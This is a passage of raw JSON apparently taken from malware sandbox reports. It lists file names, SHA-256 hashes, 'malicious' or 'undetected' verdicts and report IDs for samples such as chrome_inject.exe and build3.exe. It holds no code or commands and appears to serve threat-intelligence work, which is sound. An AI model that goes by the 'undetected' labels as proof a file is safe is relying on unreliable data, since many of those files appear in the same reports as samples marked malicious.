xe","sha256":"1b9ec0d8855fe56d3a15bdb82036d16025e3d3d258e6f80ce07923abd863560b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Uninstall.exe","sha256":"b3a3c03a2b140d4fbe9bac4416866210d014da4c64355b395715f2d4c2506c46","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"BrowserInstaller.exe","sha256":"e20f18d8c5d3621a81d35fe43d759ddb148e35d1856a94fbe95dfbec93127a10","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"IRZip.lmd","sha256":"3a6794c90d69383bd76098992cb512ae343cb2e1a3680dd4794e49895472b429","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"irsetup.exe","sha256":"7e954ea5a29568894c02736ffa0c2ff5002ed7524dda89d4bd8b795b2816f261","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"lua5.3.dll","sha256":"eef58c3dae331da03872b973230aa56b40e34035035cca5b468eda0c40daa819","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"TLauncher-Installer-1.9.4.exe","sha256":"b62414eed5e40180f5082258b7adbbd48e471478c59b9a32cc3b81800be91ae3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"cooking.exe","sha256":"3364bb66416de49a910e75cd5b26b6331c0fa936654a5cecfe60a12facbc7d14","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"crypted_guardfile.exe","sha256":"102d5fff472901b5975ec026256100a67e29b3348c754836d6131f5b48bc4043","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"docx.exe","sha256":"ff20a74edbf30825a3abb9198067320b2f574b9e9bdcf35bf18d46daaa880a19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"elf.exe","sha256":"053542ef7ed95b8bb4cc040e732cf4fad01e24c3a60b3b1c3b1c794b6bcf8d55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"lJ5IwxN.exe","sha256":"166a7c3b4a00d479a26a03f755d0aa0971b15575eae705973d27c7001012c106","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"rabert.exe","sha256":"4bf0075491be98c4955db6bc1921a62fb6d2c7d34d5f7eace57998e8488bf68c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"random.exe","sha256":"80d8352f03fb5b90ebdf79e4693f3c85bb1022f1cce6bf683b26408adb351bd6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"sup.exe","sha256":"d46988f81eb72e8587a297dfb345ea39eba96a9ba248041424fd8e2191a49cf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"sys.exe","sha256":"8d8f1b404e0e59a6ca4bf5f19120d8d89dd8a412d7516d900f53a004a6f02fee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"tmp.exe","sha256":"d459bd8e6ababe027af56fc683181351be1d4ad230da087e742aaef5c0979811","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"window.exe","sha256":"f523363b10bc7a7ab31f2c2337be6deb62c17fbedaed040af8d28d825b8dfcb4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"windows.exe","sha256":"09fddbdf0ef88f1cf65d79c1b70a9076d597580fb93209e82c5c3581eb9d5cab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"KI6Doqb.exe","sha256":"b7b4aab27ec2f954afe20a78952341d00005a3d21aabcf22508d3984e764e85b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"TransmitteD.exe","sha256":"8a8f648dca8df630813fea77c0b41da23e3d5afb9342a21f8900740f88c34aa5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"C8c1bbe.exe","sha256":"a4b1d433f60a808b7bbb120cddb4676ab2bb8e94ce6e5a3b5d7e53defef6521c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"syswinprdrvc.exe","sha256":"696b5f22934161acc86bd5e6ec816298f2a161b7e1b5aeb35900f5686b447b0c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"MSTeams.exe","sha256":"59068556c09bd777b2ab45d13f19842f166b994eab856e2a87a6ee39d7fe18df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"GL0ygTD.exe","sha256":"3d389d55457d5d9e539469407cd58a48e598285da3f9172fb6cce7caf3b00ea7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"0rXld4E.exe","sha256":"b8a132063db5ecd11f62532eae364267ca07404a07e4fee8bac11e397cba61c2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"multifunctionalbackup294.exe","sha256":"cd5d5640c468f5af52c36f7d0bfdd1c7b70bb67b9cd6479720f83ac91c86f1c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"315336607.msi","sha256":"155a4aacf6cc2e8d56476616c493536c752096b44b7c0bfd567383c0a59a27b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"8RsL970.exe","sha256":"80518cae56a9bc47b1f4c34555eac12c1e92342d14e0c2186662673bbb2261b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"fz0oKy4.exe","sha256":"14c05cdb96927e00ce8b6c226de36aeca6a4f4fa7c7239b27072d49e054f257a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"server.exe","sha256":"2c4387ce18be279ea735ec4f0092698534921030aaa69949ae880e41a5c73766","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"fzCgCtE.exe","sha256":"e1fe318ad9a9557066f22a960b88f69dada86413c652575b85e0a7a1f71a40fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"chrome_inject.exe","sha256":"83f1a0723e3a529fa964eedba0558e539c3364c88f2042482da9e90eed392d4c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"ZAjTMWu.exe","sha256":"d608e476823ee8b806209a9eae5c7f308ec4b36d85ce2c5c413acefd5992bf3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"vulkan-1.dll","sha256":"0508c497a1444acbf657b2d968fb67788518554728e7fd370d5339ead4dd4e8f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"06bK6nU.exe","sha256":"2fe4e0a7ee928ab312637f4734a3b66038f12fb48415e5675c345431fac3c021","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"HCBSXXl.exe","sha256":"df7c74df96c5590ee3b82ee0af43b364b6dd2acf6c270e6414519247bdee48fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"info.dll","sha256":"6a406261dc1acbdd8e71f33545a8b00039dae0510093b26a1a787dce0f18266d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"dva.exe","sha256":"8f5aa6325ae84727f4fac778f10af10be1918d675c32d79229af1078bb8aa220","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Client-built.exe","sha256":"eeb612949e0c08f8aed99e6ac2dd4351336904bcb1961fdd9295e924bc3fbb6d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"meitu.exe","sha256":"e874489d3d4e53dc42bc78cff54d58957a6f0f3855caa3c4670f0dc01eee79f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"x.exe","sha256":"d6536dd169868aa8f781d58323d1cd2b34102d31d62375f6befca3c4b2385152","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"xeno.exe","sha256":"b564ff977533173152028f7e29034fe63e39f1e7b1e210b9bdb106e6fe8eb780","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"syschnu.exe","sha256":"473ba4eb6097b32379251be22b8b7ab5933a0adbfd27335e7f028f42cd1e83bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"xtest.exe","sha256":"8f3525441d90a73776829dd1ca640672d999fec041c7d82412cd3d87b227dd4d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"_iscrypt.dll","sha256":"2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"cmdres.DLL","sha256":"953fbb66a005dfc4ad91b67aa570f54afb8a61d0176f0136015773dd36955ad0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1AR.html","sha256":"ceeacfae66d3184150e19e3625a3c5f28f147c49184209e7ed2c3dedbe87d327","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1BA.html","sha256":"dc5802e821f007d8195b37af918d07621399532da38100e9e3d0c16707603248","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1BG.html","sha256":"a39b3f1459230b461c9b9c8c2d83d42740c6648aff7c4f42944ad3147bd89e42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1BR.html","sha256":"15bec7b0b328bf97ef2b1285b4781b54febbe64159970e4d546366675332d5c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1BY.html","sha256":"823bb718c036500811eac0c7296b2f3d2a872cb0a63952633f3b0f9881fd0029","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1CA.html","sha256":"8aee3b4c6a0c8bc26442ef8ea92d1c5ed08a9b3e299d8ea0fe69ccc155c736c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1CN.html","sha256":"d8cbff7c010b56e5b38fd8c14a486a28b2ccd958f64d527e01e6e9ede3562bc5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1CNTR.html","sha256":"4137641a5ed119730b54fa5cedbef5d781fb35751268e7fa29ac876616807ec9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1CZ.html","sha256":"13f09102de0dc9e0f9f12794bdc0760b11b74b606dfe1d55e069ce07014a89d6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1DE.html","sha256":"45f6df8405968d4f289aae9bff783db25303e380dc946186bdcc3f72cc086684","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1DK.html","sha256":"7f588fdd79f5de7868683579aca027685d86e827e76d9762297174825684f511","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1EE.html","sha256":"6909570b4d9a08462d57745278ae42dc7d58654f5b0c5b8fc4415783e9d0f178","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1EN.html","sha256":"93ec6593dc0e29027b5a7aaae44f469103d4809f2dd8c31bef9e4ecbbba4910a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1ES.html","sha256":"f8774c88f5bf9a1a80b37447eefb8e5079138b7ae46882626f4f3e43c60af333","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1FI.html","sha256":"923c2f11e4a53a2e62da884a60750bbf15c5c6f473f806b6851b6512494f9980","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Menu1Text1FR.html","sha256":"19ac689ed2e58ac2d6a94c11e4b56ed05854724a5e1711ec8cca9a4f5ede4cc2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"name":"Kolodi.exe","sha256":"a9ef0a36e9924f9742af01b648d7c89624e1e360716adb8fe7f58a6f28c4865e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"alex.exe","sha256":"e50bfa53e75f7c54582c2609f3c59db91bb47590a43a49e95e5458a6ae97ad4b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"build3.exe","sha256":"919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"lve5.exe","sha256":"f9a0484222a37b48f410a2a1b6cfc204d0c6a3f722ca69aa0773c2c4f67bea35","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"plugmanzx.exe","sha256":"d46b48431b1613da77a297d039ad80844935b1fa40d52f1cb9b4af8e9ebea4da","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"somzx.exe","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"spfasiazx.exe","sha256":"fe98cdaacbbe31c9dee59a926693dc719ea9f1839ff62fa6997f5faf32a6a1aa","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"wlanext.exe","sha256":"82f300971534143367e928f8df3b520cb497f503deff537e1094118ce3df2982","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"TierDiagnosis.exe","sha256":"c2ae169495738288c01df97f582da3db67e4f4d4514be563a7e2cbc069b76448","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"1.exe","sha256":"c6930d431982ea0094f33313a2d2c373fb169478d3d17cae706012620d679242","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"_isdecmp.dll","sha256":"e19781aabe466dd8779cb9c8fa41bbb73375447066bb34e876cf388a6ed63c64","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"build3.exe.bin","sha256":"919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"lve.exe","sha256":"f9a0484222a37b48f410a2a1b6cfc204d0c6a3f722ca69aa0773c2c4f67bea35","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"VCRUNTIME140.dll","sha256":"69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"libcrypto-3.dll","sha256":"8e13b53ee25825b97f191d77b51ed03966f8b435773fa3fbc36f3eb668fc569b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"tcl86t.dll","sha256":"a91781fe13548b89817462b00058a75fb0b607ec8ce99d265719ced573ade7b6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"tk86t.dll","sha256":"20139f4c327711baf18289584fa0c8112f7bb3ba55475bded21f3d107672ed94","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"libssl-3.dll","sha256":"b21309abd3dbbb1bf8fb6aa3c250fc85d7b0d9984bf4c942d1d4421502f31a10","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"cacert.pem","sha256":"cf9d37fa81407afe11dcc0d70fe602561422aa2344708c324e4504db8c6c5748","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"libffi-8.dll","sha256":"eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"alex.exe.log","sha256":"e44d9a2ed9c1a63c162a13d3e1906145766bb048baa3c87c17f15ddf00ce4982","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"spfasiazx.exe.log","sha256":"e44d9a2ed9c1a63c162a13d3e1906145766bb048baa3c87c17f15ddf00ce4982","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"tuc7.exe","sha256":"fa2193e1ddaa3143fadedf96caa6bce9d32d9755f570be48233a96481c6d2ffd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"tuc5.exe","sha256":"2db427bbee3e731362d25eebe197adce0c747c4fde596dc28a8f79b84c751881","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Kolodi.exe.log","sha256":"535bca5b08af0ee12f95bafa20c49e4fde03714d8e04311d1ac60438ea366f8f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"powershell.exe.log","sha256":"22175b062befc59c5849a3b6d7d866763bd8f9d7478c17c17e81f4d6a6a2ca92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"ModuleAnalysisCache","sha256":"2894c5e7d2a5044032219d4d040ce907bd7c57b19b4040fb5222f2e91dde0643","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"StartupProfileData-NonInteractive","sha256":"1e55b16b3c936bc4af0747bd7e00c337732eb1a745e5a8f3ca8433d377c4fa7c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_ARC4.pyd","sha256":"b428f7c585c322da42d99b1db0847f0335b1778cfb2c609d7bef6d0f6e6b8272","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_Salsa20.pyd","sha256":"ddfa617ccf867e40d83a7938c6a0f3a5bd18c265b18b463c32ab7585c39a5c7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_chacha20.pyd","sha256":"3fe8998623b9adfeed7f83373d0bfcea5843f6d32b2f561888cf344445daa66f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_pkcs1_decode.pyd","sha256":"38c701c4defcc35a2a1d467f731fc17d265d578d7e888b6a8aca06e2837eeaad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_aes.pyd","sha256":"1fff03da4c0b342028057a931d6976e8d45ff63e39003cb990899e95d04c1480","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_aesni.pyd","sha256":"cfa07caa1e4026753379aeaa5739a2be4b3a5fbb7a5b2133af202aa4461aa21e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_arc2.pyd","sha256":"d7cb4016c296bd36afe801b5ca61de0c91364a6981ad06b6d118114d3a32abcf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_blowfish.pyd","sha256":"509e2962bf1946fca12061321b6a7364fc92a042ac1149e8b02715f530866299","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_cast.pyd","sha256":"ab9e134c97f763a7e047a277c86c53dc77276bfde5d3a2db4d7f36e31f1b0df5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_cbc.pyd","sha256":"1cb0883d470bf0f24bcb563bd9c247bd63659f6a224bd961b9368a20589e8197","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_cfb.pyd","sha256":"10b5ade34be7c513cdb0c1d375e37e3a0de99494732eba81fda4e69cae678e9f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_ctr.pyd","sha256":"dc4b1435d43fa8b589a04f14b3e30085703b4b7ea6db2e4d2d656b822ebc6133","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_des.pyd","sha256":"98ccab96db2cd2997ed1092c485e75dd54c09f753a4e8de2512bd30d199c969b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"_raw_des3.pyd","sha256":"82fe40a2af9b7073a2d021e40c6778d89f2e87a4c03aa6c3aa4849be6600f23e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"voice5.13sert.exe","sha256":"ddcf9bbd485f495e12b0e0dab9ab45eca4974208e851b85be0792d6e55d7ad23","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"python311.dll","sha256":"7cf13ac57b84cf6efaa47b3e5b7e85e42c7a6c792f4eefda3521c8b81c3fed15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"vbmail.exe","sha256":"78965506ffaf59ffdeb299f73ca33673644c9d558730620ac1570bbdc5fd2f27","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99_132HF_.exe","sha256":"bf8ed1e10dcf45fd04a36b354f724786c2f0a63d29634e05d3a4d431127448fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"rise.exe","sha256":"52cd8aacbd2dac1591538990baf769685c4a6abc7f9f60d1acf3fddbbd4fe4c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"buildz.exe","sha256":"63d62aaf2718a094187c300df58e3054945e8b763f1609ddc7fc45b9b81f93ed","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"film.exe","sha256":"45f05aabab4f0b75565e7049204b658ad0d9e87e7c1dd818244dbe15e59083b3","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"DNS1.exe","sha256":"992d71f7bc71ab11416a3f16728f75a56b9f7c93a00fa5de1c4b7272b9d4f5a5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Vnloubk.exe","sha256":"f9a0484222a37b48f410a2a1b6cfc204d0c6a3f722ca69aa0773c2c4f67bea35","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"tuc2.exe","sha256":"2fd40d1cd19f019d722a85890bd26dc972f004fc4834f4739e8cfaa72ed37e26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"tuc3.exe","sha256":"26ec6cdfa95f4e8a889de9926177a6f9784b1813378cdc646e37776bd22bc7f8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"tuc4.exe","sha256":"b4c474205578de641ad7e110a989659b6b2741dd7ca652dda30a5d73a5ca3739","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"tuc6.exe","sha256":"46d3959ff029999fc0881dcb873ffb0c5c2837e0652b51e46ca8f6c17229fb8a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"OY0S94XARR1OPQ6PHF3N.temp","sha256":"55aa2933e5247e3f90d3cf4b70d8d69b0bcd18679456a9ccdb1645aeee1372d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA","sha256":"bbd6624d10075377f25c340c98e3d007cf68fa60530b1c4e8bce11b3487c9670","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"4748633DC5731827D4B432DBAC7A3ECE","sha256":"3086094d4198a5bbd12938b0d2d5f696c4dfc77e1eae820added346a59aa8727","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"0b6b5f881a38da76baff3393ccbd19f874f92a848dcadddd37c820eb5aac9ff5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"646C991C2A28825F3CC56E0A1D1E3FA9","sha256":"45c2b4583dd60ac1d507af81ee09b636d4605f246c7596526e26d1a8d4af4df1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464","sha256":"58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"CabF9D3.tmp","sha256":"c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"TarF9E3.tmp","sha256":"4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"peasantlike.sel","sha256":"b24a0ea41a7d5a069d23e31b9d46b9791b0726c245de3f0297e191ac3066981a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"roastable.tja","sha256":"63ce1fb85e3e4d6538cecec29dd1f883f8618287a74de33aa7dd9c3bb8a2524e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Coof.Lgn","sha256":"9d20984b3cc983508bb26d800892b6ed02ef4980c9ea2191ed5c4f707016dd13","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{